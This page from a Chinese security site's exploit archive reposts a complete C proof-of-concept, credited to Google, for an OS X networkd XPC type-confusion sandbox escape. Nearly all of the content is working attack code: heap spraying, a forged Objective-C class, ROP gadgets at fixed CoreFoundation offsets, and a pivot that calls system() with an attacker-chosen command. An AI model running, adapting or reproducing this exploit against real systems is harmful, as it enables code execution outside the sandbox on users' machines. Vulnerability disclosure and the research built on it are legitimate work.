首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OS X networkd "effective_audit_token" XPC Type Confusion Sandbox Escape
来源:google.com 作者:Google 发布时间:2015-01-21  
// Requires Lorgnette: https://github.com/rodionovd/liblorgnette
// clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation
// ianbeer
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
  
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
  
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
  
#include <mach-o/dyld_images.h>
  
#include "liblorgnette/lorgnette.h"
  
/* find the base address of CoreFoundation for the ROP gadgets */
  
void* find_library_load_address(const char* library_name){
  kern_return_t err;
  
  // get the list of all loaded modules from dyld
  // the task_info mach API will get the address of the dyld all_image_info struct for the given task
  // from which we can get the names and load addresses of all modules
  task_dyld_info_data_t task_dyld_info;
  mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
  err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
  
  const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
  const struct dyld_image_info* image_infos = all_image_infos->infoArray;
    
  for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
    const char* image_name = image_infos[i].imageFilePath;
    mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
    if (strstr(image_name, library_name)){
      return (void*)image_load_address;
    }
  }
  return NULL;
}
  
  
struct heap_spray {
  void* fake_objc_class_ptr; // -------+
  uint8_t pad0[0x10];        //        |
  uint64_t first_gadget;     //        |
  uint8_t pad1[0x8];         //        |
  uint64_t null0;            //        |
  uint64_t pad3;             //        |
  uint64_t pop_rdi_rbp_ret;  //        |
  uint64_t rdi;              //        |
  uint64_t rbp;              //        |
  uint64_t system;           //        |
  struct fake_objc_class_t { //        |
    char pad[0x10];      // <----------+
    void* cache_buckets_ptr; //--------+
    uint64_t cache_bucket_mask;  //    |
  } fake_objc_class;             //    |
  struct fake_cache_bucket_t {   //    |
    void* cached_sel;      // <--------+  //point to the right selector
    void* cached_function; // will be RIP :)
  } fake_cache_bucket;
  char command[256];
};
  
xpc_connection_t connect(){
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  
  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);
  return conn;
}
  
void go(){
  void* heap_spray_target_addr = (void*)0x120202000;
  struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
  memset(hs, 'C', 0x1000);
  hs->null0 = 0;
  hs->fake_objc_class_ptr = &hs->fake_objc_class;
  hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
  hs->fake_objc_class.cache_bucket_mask = 0;
  
  // nasty hack to find the correct selector address :)
  uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
  uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector 
  uint64_t sel = msgrefs[1];
  printf("%p\n", sel);
  hs->fake_cache_bucket.cached_sel = sel;
  
  uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
  // pivot:
/*
push rax
add eax, [rax]
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
  hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here
  
  // jump over the NULL then so there's more space:
  //pop, pop, pop, ret: //and keep stack correctly aligned
  hs->first_gadget = CoreFoundation_base + 0x46ef7;
  
  hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
  hs->system = dlsym(RTLD_DEFAULT, "system");
  
  hs->rdi = &hs->command;
  strcpy(hs->command, "touch /tmp/hello_networkd");
  
  
  size_t heap_spray_pages = 0x40000;
  size_t heap_spray_bytes = heap_spray_pages * 0x1000;
  char* heap_spray_copies = malloc(heap_spray_bytes);
  for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
  }
  
  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
  
  xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);
  
  xpc_dictionary_set_uint64(msg, "type", 6);
  xpc_dictionary_set_uint64(msg, "connection_id", 1);
  
  xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
  xpc_object_t conn_list = xpc_array_create(NULL, 0);
    
  xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
  
  xpc_array_append_value(conn_list, arr_dict);
  xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
    
  char* long_key = malloc(1024);
  memset(long_key, 'A', 1023);
  long_key[1023] = '\x00';
  
  xpc_dictionary_set_string(params, long_key, "something or other that's not important");
  
  uint64_t uuid[] = {0, 0x120200000};
  xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
  xpc_dictionary_set_uint64(params, "start", 0);
  xpc_dictionary_set_uint64(params, "duration", 0);
    
  xpc_dictionary_set_value(msg, "parameters", params);
  
  xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(state, "power_slot", 0);
  xpc_dictionary_set_value(msg, "state", state);
  
  xpc_object_t conn = connect();
  printf("connected\n");
  
  xpc_connection_send_message(conn, msg);
  printf("enqueued message\n");
  
  xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});
  
  xpc_release(msg);
}
  
int main(){
  go();
  printf("entering CFRunLoop\n");
  for(;;){
    CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
  }
    
  return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OS X 10.10 IOKit IntelAccelera
·OS X 10.9.5 IOKit IntelAcceler
·MalwareBytes Anti-Exploit 1.03
·Microsoft Windows NtApphelpCac
·ManageEngine Multiple Products
·GetGo Download Manager HTTP Re
·Sim Editor 6.6 - Stack Based B
·Exif Pilot 4.7.2 Buffer Overfl
·Samsung SmartViewer BackupToAv
·Symantec SDCS:SA / SCSP XSS /
·D-Link DSL-2730B Modem - XSS I
·Arris VAP2500 tools_command.ph
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved